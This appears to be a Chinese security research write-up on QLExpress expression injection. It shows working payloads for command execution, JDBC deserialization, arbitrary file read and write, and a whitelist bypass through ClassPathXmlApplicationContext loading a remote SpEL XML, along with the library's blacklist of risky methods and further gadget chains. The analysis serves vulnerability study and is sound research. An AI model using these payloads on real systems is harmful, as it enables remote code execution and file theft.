QL表达式注入
依赖
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>QLExpress</artifactId> <version>3.3.2</version> </dependency>
|
来自https://github.com/alibaba/QLExpress
使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| 变量:使用$符号加上变量名的方式来引用变量,例如$age表示引用变量age的值。
常量:支持整数、浮点数、字符串、布尔值、空值等常量类型,例如1、2.5、"hello"、true、null等。
算术表达式:支持加减乘除、取余、取反等算术运算,例如1+2、3*4、-5等。
逻辑表达式:支持与、或、非等逻辑运算,例如true && false、true || false、!true等。
比较表达式:支持等于、不等于、大于、小于、大于等于、小于等于等比较运算,例如1==2、"hello"!="world"、3>4等。
条件表达式:支持三目运算符来表示条件表达式,例如age>18 ? "成年人" : "未成年人"。
正则表达式:支持使用正则表达式进行匹配操作,例如"name =~ 'Tom.*'"表示name以Tom开头的字符串。
函数调用:支持调用内置函数和自定义函数,例如round(3.14159, 2)表示保留3.14159的小数点后2位。
方法调用:支持调用对象的方法,例如user.getName()表示调用user对象的getName()方法。
数组:支持定义和操作数组,例如a[0]表示访问数组a的第一个元素。
Map:支持定义和操作Map,例如map.get("key")表示获取Map中键为key的值。
对象属性:支持访问对象的属性,例如user.name表示访问user对象的name属性。
赋值表达式:支持将值赋给变量或对象属性,例如age = 20、user.name = "Tom"。
代码块:支持使用大括号将多个表达式组成代码块,并通过return语句返回值,例如{a=1;b=2;return a+b;}。
表达式语句:支持将多个表达式用分号分隔,表示多个语句组成一个代码块,例如a=1;b=2;c=3;。
|
Operator
可以用来修改相关的关键字
1 2 3
| runner.addOperatorWithAlias("如果", "if", null); runner.addOperatorWithAlias("则", "then", null); runner.addOperatorWithAlias("否则", "else", null);
|
调用类方法
如果传入一个类 我们可以直接调用这个类里面的任意方法
比如把这个shell类绑定到a变量 调用a.evil方法 就能调用对应的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.example.qlinject;
import com.ql.util.express.DefaultContext; import com.ql.util.express.ExpressRunner;
import java.io.IOException;
public class main { public static void main(String[] args) { try{ ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); shell shell = new shell(); context.put("a", shell);
String express = "a.evil();"; Object r = runner.execute(express, context, null, true, false); System.out.println(r); }catch (Exception e){ e.printStackTrace(); }
} } class shell{ public void evil() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
调试一下如何调用的
这里校验了 输入的表达式是否缓存内 如果在缓存里面就取出 不在就加载
后面主要是环境的构建和表达式的解析 随后来到了executeInner方法
先是寻找这个类的对应调用方法 找到之后先是进行了安全性检查 检查无误之后尝试反射调用
然后就调用了我们的方法
显然这里直接导入一个写成这样的恶意类的情况几乎不存在 我们也可以调用其他的
官方文档里面提供了这个 告诉我们在内部已经导入了这些包
如果没有任何安全组的情况下 我们是可以直接执行命令的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class main { public static void main(String[] args) { try{ ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); String express = "Runtime.getRuntime().exec(\"calc\");"; Object r = runner.execute(express, context, null, true, false); System.out.println(r); }catch (Exception e){ e.printStackTrace(); }
} }
|
安全组设置
QLExpress 提供了三个级别的保护给我们
黑名单
需要在代码中开启
1
| QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
|
这样我们上面的payload就失效了
调试一下
这里有一个方法 阻止我们调用不安全的方法A(v3.3.2)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| static { SECURITY_RISK_METHOD_LIST.add(System.class.getName() + "." + "exit");
SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec"); SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke"); SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName"); SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass"); SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass"); SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass"); SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup"); SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName"); SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create"); SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName"); SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
for (Method method : QLExpressRunStrategy.class.getMethods()) { SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName()); } }
|
这里虽然过滤了很多东西 但依旧可以存在漏洞 比如jdbc 要求本地存在可以反序列化的依赖
jdbc
这里可以直接调用jdbc打本地链子了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class main { public static void main(String[] args) throws ScriptException { try{ ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); String express = "import java.sql.Connection;import java.sql.DriverManager;url='jdbc:mysql://url:3333/mysql?characterEncoding=utf8&useSSL=false&maxAllowedPacket=65535&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true&user=yso_CommonsCollections6_calc';Connection conn = DriverManager.getConnection(url);a=1;a"; Object r = runner.execute(express, context, null, true, false); System.out.println(r); }catch (Exception e){ e.printStackTrace(); }
} }
|
这里可以利用java.io.还可以读写文件
任意文件读
1
| String code = "import java.io.BufferedReader;n" +"import java.io.FileReader;n" +"FileReader f=new FileReader("flag");n" +"BufferedReader a=new BufferedReader(f);n" +"String str=a.readLine();n" +"System.out.println(str);";
|
任意文件写
1
| String code = "import java.io.*;n" +"BufferedWriter out = new BufferedWriter(new FileWriter("flag"));n" +"out.write("success");n" +"out.close();";
|
还可以打反序列化的链子 如果有依赖的话 这里不细研究
白名单
默认不提供白名单设置
官方可以让我们加白预期了,这样非预期类的执行的方法会失败
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class main { public static void main(String[] args) { try{ ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime"); QLExpressRunStrategy.addSecureMethod(Runtime.class, "freeMemory"); String express = "Runtime.getRuntime().exec(\"calc\");"; Object r = runner.execute(express, context, null, true, false); System.out.println(r); }catch (Exception e){ e.printStackTrace(); }
} }
|
这里加白了freeMemory 方法 但是调用的是其他的方法
断点下在QLExpressMethod#QLExpressRunStrategy.assertSecurityRiskMethod(method);方法这里
进到assertSecurityRiskMethod 里面
他的每次都是拼成类和方法 然后和集合里面的比较方法字符串
这里获取的都是使用反射获取的类名字和方法名凭拼接 不能修改绕过
构造方法触发恶意调用
在另外的包里面 我写入一个这样的文件
然后我们的代码这样写
运行如下
虽然会被抛出 但是还是触发了构造方法
调试下去 在com.ql.util.express.instruction.op#的executeInner方法这里通过反射构造了这个类
这里用反射调用了构造方法 在调用类的构造方法之后 才使用QLExpressRunStrategy.assertSecurityRiskMethod(method); 检查使用的方法 如果能找到一个类 构造方法存在注入 就能造成注入
ClassPathXmlApplicationContext
在ClassPathXmlApplicationContext 的构造函数里面存在refresh方法
里面有一个invokeBeanFactoryPostProcessors 方法 在上下文里面调用了工厂处理器
跟下去,AbstractBeanFactory.resolveBeanClass()->AbstractBeanFactory.doResolveBeanClass(),用来解析Bean类
调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容 触发SpEL 注入
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class main { public static void main(String[] args) { try{ ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime"); QLExpressRunStrategy.addSecureMethod(Runtime.class, "freeMemory"); ClassPathXmlApplicationContext a = new ClassPathXmlApplicationContext(); String express = "import org.springframework.context.support.ClassPathXmlApplicationContext;ClassPathXmlApplicationContext b = new ClassPathXmlApplicationContext('http://127.0.0.1:8888/spel.xml');a=1;a"; Object r = runner.execute(express, context, null, true, false); System.out.println(r); }catch (Exception e){ e.printStackTrace(); }
} }
|
成功绕过白名单
PrintServiceLookup
gson链子的终点
JDK 中 PrintServiceLookup 接口用于提供打印服务的注册查找功能
他的构造函数可以rce
实现了PrintServiceLookup都可以rce
IniEnvironment
来自wmctf 的一条新链子 在包org.apache.activemq.shiro.env.IniEnvironment 下
创建一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package org.example.aaa;
public class aaa { private String name; private int age;
public aaa(){
} public aaa(String name, int age) { this.name = name; this.age = age; }
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public int getAge() { System.out.println("getAge"); return age; }
public void setAge(int age) { System.out.println("setAge"); this.age = age; } }
|
然后尝试去获取这个类
1 2 3 4 5
| IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.aaa.aaa\n" + "user.name=\"114\"\n" + "user.age=514\n"+ "user.age.a=1919\""); }
|
可以看到调用了setAge和getAge方法
看到他的构造函数
他会调用这个init方法
在里面调用createObjects 方法 构建了一个bean工厂然后实例化
一路上就是创建Ini 然后createInstance buildInstances
主要从buildInstances 开始
一路上都是属性读取什么的 主要出现这里
这里使用applyProperty 解析了这个对象的属性
这里使用 setProperty 设置了对象属性 调用链子如下
get方法的触发 出现在applyProperty 方法内
这里进去 的getPropertyDescriptor 方法内会使用getProperty(bean, next) 触发getter方法。
在ini容器里面 存在一些配置
二次反序列化新链学习 - 先知社区 (aliyun.com)
这里就可以接上很多的链子了
这里我们也可以利用这个完成二次反序列化 或者接上一些调用getter的方法 这里不细说
沙箱
提供了沙箱模式 ban了很多
没啥想法